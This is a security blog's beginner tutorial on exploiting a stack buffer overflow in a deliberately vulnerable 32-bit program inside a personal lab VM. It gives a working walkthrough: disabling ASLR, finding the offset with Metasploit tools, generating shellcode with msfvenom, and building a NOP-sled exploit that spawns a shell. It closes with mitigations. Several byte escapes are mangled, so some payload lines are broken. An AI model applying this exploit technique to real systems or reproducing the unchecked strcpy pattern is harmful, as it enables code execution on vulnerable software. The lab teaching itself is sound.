Print-ready version Back to the article
HMMNM Security
hmmnm.com

Security

Buffer Overflow for Beginners: Your First Stack Smash in a Safe Lab

By Prabhu Kalyan Samal | Published 5 December 2026 | Updated 19 November 2026 | 8 min read

https://hmmnm.com/buffer-overflow-for-beginners-your-first-stack-smash-in-a-safe-lab/

9 min read · 1,663 words

TL;DR: A stack buffer overflow happens when a program copies more data into a fixed-size stack buffer than the buffer can hold, letting you overwrite the saved return address and redirect execution. In this tutorial you’ll exploit a deliberately vulnerable 32-bit Linux program in your own VirtualBox lab — crash it, find the exact offset, confirm EIP control, and land a shell using a NOP sled and shellcode — then look at the modern mitigations (ASLR, stack canaries, NX/DEP) that make this attack largely obsolete on modern systems.

Authorization note: everything in this article targets a virtual machine that you own, on your own hardware, running code you wrote yourself. Exploiting software on systems you do not own is a crime in most jurisdictions. Keep it in the lab.

Why Learn This “Dead” Technique?

Classic stack smashing stopped working by default around 2005–2010 thanks to NX, ASLR, and stack canaries. So why learn it? Because the mental model — memory layout, register control, offsets, bad characters — underpins every modern memory-corruption topic: ROP, heap exploitation, browser pwn, and vulnerability research. It’s also a certified-ethcial-hacker (CEH) exam topic, and it’s genuinely fun to get your first shell.

Lab Setup

You’ll need:

sudo apt update
sudo apt install -y gdb git gcc-multilib
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

Disable ASLR in the guest for this exercise (we’ll re-enable the protections discussion later):

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space   # should print 0

The Vulnerable Program

Create vuln.c:

#include <string.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    char buffer[64];
    strcpy(buffer, argv[1]);   // no bounds check!
    printf("Received: %sn", buffer);
    return 0;
}

Compile it with every modern protection disabled — this simulates software from the era when these bugs were everywhere:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c
checksec --file=vuln

Expected output:

RELRO:    No RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x08048000)

Perfect — a 2005-style target. Make sure it runs:

./vuln "hello"
Received: hello

Step 1: Crash It

The buffer is 64 bytes, so let’s throw 200 bytes at it:

./vuln $(python3 -c "print('A' * 200)")

You should see:

Received: AAAA...AAAA
Segmentation fault (core dumped)

The crash happens because the strcpy wrote past the 64-byte buffer, over the saved frame pointer, and over the saved return address on the stack. When main tried to ret, it jumped to 0x41414141 (“AAAA”) — unmapped memory.

Confirm with GDB:

gdb ./vuln
(gdb) run $(python3 -c "print('A' * 200)")

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

EIP is literally 0x41414141. We control the instruction pointer — now we just need to know which bytes of our input land there.

Step 2: Find the Offset

Metasploit’s pattern tools solve this precisely. On Kali:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200

Output (truncated):

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3...

Feed that unique pattern to the program under GDB:

(gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

GDB crashes with:

0x39614138 in ?? ()   # "8Aa9" in ASCII

Now ask pattern_offset which bytes produced that value:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39614138

Output:

[*] Exact match at offset 76

Offset = 76. That means 76 bytes fill the buffer and padding, and bytes 77–80 overwrite the saved return address.

Step 3: Confirm EIP Control

Replace bytes 77–80 with four recognizable bytes — xefxbexadxde (0xDEADBEEF when read little-endian):

./vuln $(python3 -c "import sys; sys.stdout.buffer.write(b'A'*76 + b'xefxbexadxde' + b'C'*50)" 2>/dev/null)

Or verify cleanly in GDB (note: bash can’t pass NUL-free raw bytes via arguments easily; Python is simpler):

python3 -c "print('A'*76 + 'xefxbexadxde' + 'C'*50)" > payload.bin
gdb ./vuln
(gdb) run "$(cat payload.bin)"

Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()

EIP = 0xdeadbeef. Total control of execution. This is the money shot of your first exploit.

Step 4: Bad Character Analysis

Before injecting shellcode, you must know which bytes break delivery. Our payload travels through argv, so:

The systematic method: send every byte x01 through xff in your payload, then dump the stack in GDB and see where the sequence gets truncated or mangled. With peda:

(gdb) run "$(python3 -c "print('A'*76 + 'xefxbexadxde' + ''.join(chr(i) for i in range(1,256)))")"
(gdb) x/300xb $esp

Find where your byte list continues cleanly and where it stops. Any byte that truncates the sequence goes on your bad-char list, and your shellcode encoder must avoid it (e.g., msfvenom -b 'x00x20'). For this lab, remember: x00 and x20 are bad.

Step 5: NOP Sled + Shellcode

Our plan:

  1. Generate shellcode that spawns /bin/sh (no NUL bytes).
  2. Prepend a “sled” of x90 (NOP) instructions — hundreds of them.
  3. Point EIP anywhere in the sled; the CPU slides down the NOPs into the shellcode.

Generate shellcode with msfvenom, excluding bad chars:

msfvenom -p linux/x86/exec CMD=/bin/sh -b 'x00x20' -f python

Example output:

buf =  b""
buf += b"xdaxd7xbfx48x88x2ex79xd9x74x24xf4x5ax29"
buf += b"xc9xb1x0cx31x7ax17x03x7ax17x83xc4x35"
... (roughly 40-70 bytes)

The stack layout we’re building (76 bytes of filler + return address pointing into ~200 NOPs + shellcode):

[ 76 bytes 'A' ] [ EIP -> 0xbffff2xx ] [ 200 x x90 ] [ shellcode ]

Build the exploit with Python:

python3 - <<'EOF' > exploit.bin
import sys
shellcode = ( b"xdaxd7xbfx48x88x2ex79xd9x74x24xf4x5ax29"
  b"xc9xb1x0cx31x7ax17x03x7ax17x83xc4x35"  # replace with YOUR msfvenom output
)
nops = b"x90" * 200
sys.stdout.buffer.write(b"A"*76 + b"xf0xf1xffxbf" + nops + shellcode)
EOF

For the return address, you need a stack address near your NOP sled. In GDB with peda, run a test payload and inspect:

(gdb) run "$(cat exploit.bin)"
(gdb) x/40x $esp

Because ASLR is off, stack addresses are stable — but GDB’s environment shifts addresses slightly vs. running outside GDB. Two workarounds:

Once your return address lands inside the sled (adjust xbfxf0xf1xff to your observed address, little-endian), the payload outside GDB gives you a shell:

./vuln "$(cat exploit.bin)"
Received: ...
$ whoami
kali
$ id
uid=1000(kali) gid=1000(kali)

You popped a shell. From crash → EIP control → code execution in five steps. If the shell immediately exits, your shellcode likely contains a bad byte or your return address is just outside the sled — widen the NOPs to 400 and retry.

Why This Doesn’t Work Anymore: The Modern Mitigations

The exploit above only worked because we disabled every protection. Here’s what each one does and how it kills a specific step:

Mitigation How it works Which step it breaks
NX / DEP Marks the stack non-executable at the CPU page level Makes the shellcode itself unrunnable — EIP control is useless for direct code injection
Stack canaries GCC inserts a random value (-fstack-protector) before the return address and checks it on return Your 76-byte overwrite smashes the canary first; the process aborts before ret
ASLR Randomizes stack, heap, and library base addresses on every run Your hard-coded 0xbffff... return address points to random memory
PIE The binary itself loads at a random address You can’t hard-code gadget or function addresses from the binary either

Modern attackers adapted rather than gave up: return-to-libc and ROP chains reuse existing executable code (defeating NX), info leaks defeat ASLR, and canary leaks or format-string bugs defeat canaries. But each technique requires significantly more sophistication than “overwrite EIP with shellcode.”

Compilers and OS defaults changed too:

See it for yourself — re-enable protections and compile normally:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
gcc -m32 -o vuln_hardened vuln.c
./vuln_hardened $(python3 -c "print('A'*200)")
*** stack smashing detected ***: terminated
Aborted

The canary caught it instantly. Try your exploit against the hardened binary and watch EIP land somewhere random every run thanks to ASLR.

Where This Skill Goes Next

Defender Takeaways

HMMNM Security · Independent security research and education · hmmnm.com
Printed from https://hmmnm.com/buffer-overflow-for-beginners-your-first-stack-smash-in-a-safe-lab/
© 2026 HMMNM Security. For personal and internal team use. Please link to the original article when sharing.